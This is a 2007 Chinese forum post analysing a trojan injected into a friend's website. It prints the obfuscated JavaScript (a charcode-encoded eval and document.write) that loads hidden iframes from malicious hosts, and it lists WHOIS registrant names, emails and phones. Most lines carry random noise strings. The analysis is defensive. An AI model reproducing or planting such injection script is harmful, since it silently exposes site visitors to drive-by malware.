社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5114阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, @h z0:ezg:  
?$`1%Y9  
http://www.areway.cn/?p=175 (<AM+|  
{ 8|Z}?I  
_Oaso >  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ZQJw2LAgO  
          !pF KC)  
<script>t=’60,105,102,114,97,109,101, 4IGQ,RTB  
32,115,114,99,61,104,116,116,112,58,47,47,  HC<BGIgL  
102,114,101,101,46,117,45,117,117,117,46,99, \|b1s @c8  
110,47,101,114,114,111,114,46,104,116,109, M25z<Y  
32,119,105,100,116,104,61,49,48,48,32,104, f0fqDmn  
101,105,103,104,116,61,48,62,60,47,105,102, Xoa <r9  
114,97,109,101,62′; !@]h@MC$7  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> K_w0+oY a  
                                                                                                  *6\`A!C  
<script>t=’60,105,102,114,97,109,101,32,115, 3ec==.  
114,99,61,104,116,116,112,58,47,47,102,114, =c5 /cpZ^  
101,101,46,117,45,117,117,117,46,99,110,47, Hi4@!]  
101,114,114,111,114,46,104,116,109,32,119, 5G42vTDzS4  
105,100,116,104,61,49,48,48,32,104,101,105, ;]O 7^s#v  
103,104,116,61,48,62,60,47,105,102,114,97, Rp4BU"&sU  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); [K|>s(Sf*  
document.write(t);</script> Br.$L  
                                                                                                  (fLbg,  
<html xmlns=” =>9.@`.  
http://www.w3.org/1999/xhtml NiJ?no  
“> gC,0+Y~  
<head> _,-M8=dL%*  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> e4NX\tCpw  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> {KQ-Ce-6  
<title>首页 - 爱生活家庭网 dM@k(9|  
                                                                                                                                                    pN^G[  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 \Vhp B   
转换字符串后的大概内容是(谁点击后果自付): ah&plaVzC  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… "351s3ff  
                                                                                                                                  ]a Ma*fF  
查询玉米u-uuu.cn的详细信息: ~]t2?SqNm  
Domain Name: u-uuu.cn yI)RG OV  
ROID: 20070901s10001s64972306-cn `- uZv  
Domain Status: ok (^@;`8Dy8  
Registrant Organization: 王雷 uBL~AC3>O  
Registrant Name: 王雷 xr7<(:d  
Administrative Email: czlovexs@126.com :O @,Z_"  
Sponsoring Registrar: 北京万网志成科技有限公司 X:} 5L> '  
Name Server:ns.yovole.com SJ|.% gn  
Name Server:ns1.yovole.com vng8{Mx90*  
Registration Date: 2007-09-01 17:54 >=q!!'$:  
Expiration Date: 2008-09-01 17:54 6[Pr<4J  
最后PING了一下地址 都没有什么…. %_X[{(  
                                                                                                =w>>7u$4  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 4@V<Suw  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> B #V 4  
<script language=”javascript” src=” )*QTxN  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script  "lnk  
> + 1%^c(3  
这个玉米应该有可能是木马作者的: =jd=Qs IL  
foafau.info的详细信息: pa> 2JF*  
Access to INFO WHOIS information is provided to assist persons in 1_E3DXe  
determining the contents of a domain name registration record in the :92a34  
Afilias registry database. The data in this record is provided by ~4 xBa:*z  
Afilias Limited for informational purposes only, and Afilias does not `5 v51TpH  
guarantee its accuracy.  This service is intended only for query-based 9QM"JEu@  
access. You agree that you will use this data only for lawful purposes :Tl6:=B  
and that, under no circumstances will you use this data to: (a) allow,  sCf(h  
enable, or otherwise support the transmission by e-mail, telephone, or kpMM%"=V  
facsimile of mass unsolicited, commercial advertising or solicitations }mS0{rxD4  
to entities other than the data recipient’s own existing customers; or 1X:whS5S  
(b) enable high volume, automated, electronic processes that send A,CPR0g%  
queries or data to the systems of Registry Operator, a Registrar, or 0{Ll4  
Afilias except as reasonably necessary to register domain names or pUEok+  
modify existing registrations. All rights reserved. Afilias reserves W&re;?Z{ke  
the right to modify these terms at any time. By submitting this query, Q9'p3"yoE  
you agree to abide by this policy. $4~}_phi  
Domain ID:D22418703-LRMS -H]f@|AOw  
Domain Name:FOAFAU.INFO `\FjO"  
Created On:20-Nov-2007 16:05:42 UTC o5G"J"vxe  
Last Updated On:20-Nov-2007 16:05:44 UTC s$y#Ufz  
Expiration Date:20-Nov-2008 16:05:42 UTC /v ;Kb|e  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) a0W\?  
Status:CLIENT DELETE PROHIBITED )cmLo0`$  
Status:CLIENT RENEW PROHIBITED kp>Z/kt  
Status:CLIENT TRANSFER PROHIBITED 36Y[7 m=  
Status:CLIENT UPDATE PROHIBITED Q1&dB{L  
Status:TRANSFER PROHIBITED B+H9c~3$  
Registrant ID:GODA-040110615 rls#g w  
Registrant Name:liu hong \rnG 1o  
Registrant Organization: FoXQ]X7"  
Registrant Street1:beijing *L8HC8IbH  
Registrant Street2: BNm va  
Registrant Street3: Ol5xyj  
Registrant City:beijing }c#/1J7  
Registrant State/Province: 9TN5|x  
Registrant Postal Code:100000 ML"P"&~u6  
Registrant Country:CN -/{}^ QWB  
Registrant Phone:+86.860108888777 &``oZvu B  
Registrant Phone Ext.: Jt, 4@  
Registrant FAX: s=@Ce V@4W  
Registrant FAX Ext.: Ewsg&CCN  
Registrant Email:bbbshiji@163.com E&tmWOMj>  
Admin ID:GODA-240110615 DWxh{h">  
Admin Name:liu hong } K-[/;  
Admin Organization: pP oC61F  
Admin Street1:beijing iBW6<2@oZF  
Admin Street2: Y_YIJ@  
Admin Street3: 1Moh`  
Admin City:beijing kxf=%<l  
Admin State/Province: 3kQ8*S  
Admin Postal Code:100000 +\$|L+@Z  
Admin Country:CN ,ST.pu8N.  
Admin Phone:+86.860108888777 M@@O50~  
Admin Phone Ext.: oi4Wxcj  
Admin FAX: _Vf|F  
Admin FAX Ext.: 'm? x2$u8  
Admin Email:bbbshiji@163.com fhWD>;%F%  
Billing ID:GODA-340110615 FAl6  
Billing Name:liu hong u9~J1s<e  
Billing Organization:  y, _3Ks  
Billing Street1:beijing AFUl   
Billing Street2: V xs`w  
Billing Street3: ^b. MR?9  
Billing City:beijing j;'Wf[V  
Billing State/Province: I_s(yO4pw  
Billing Postal Code:100000 X[Gk!d r#  
Billing Country:CN !#s7 F  
Billing Phone:+86.860108888777 [t) i\ }V  
Billing Phone Ext.: F7 6h  
Billing FAX: Q31c@t  
Billing FAX Ext.: oT{yttSNo  
Billing Email:bbbshiji@163.com 9yAu<a  
Tech ID:GODA-140110615 1Sk6[h'CL  
Tech Name:liu hong ,PxQ[CGg  
Tech Organization: wo9f99  
Tech Street1:beijing qyfxTQ5  
Tech Street2: {S(T1ua  
Tech Street3: $s!meg@s  
Tech City:beijing 7V``f:#d  
Tech State/Province: " CoR?[,x  
Tech Postal Code:100000 ,]qX_`qF  
Tech Country:CN .g?,:$`0D?  
Tech Phone:+86.860108888777 !_!b \  
Tech Phone Ext.: C>VZf,JE1  
Tech FAX: x}j41E}  
Tech FAX Ext.: ^i1:PlW]  
Tech Email:bbbshiji@163.com dph6aN(49  
Name Server:NS27.DOMAINCONTROL.COM *lO+^\HXD  
Name Server:NS28.DOMAINCONTROL.COM TBT*j&!L  
Name Server: WfO$q^'?DP  
Name Server: CxQ,yd;>  
Name Server: Khd,|pM  
Name Server: Pk_{{Z(1o  
Name Server: J :(\o=5 5  
Name Server: FWN%JCOj@  
Name Server: <ft9B05*  
Name Server: [&V%rhi  
Name Server: X0TGJ,yW(  
Name Server: |%;txD  
Name Server: X;>} ;LiK  
                                                                                                          Ih"Ol(W  
接着下载每个文件里面的代码: H;&t"Ql.  
一步一步看.. P9wDTZ :4  
nQmYeM  
83*k.]S`  
^uzVz1%mM  
1`\kXaG  
Mp=+*I[  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五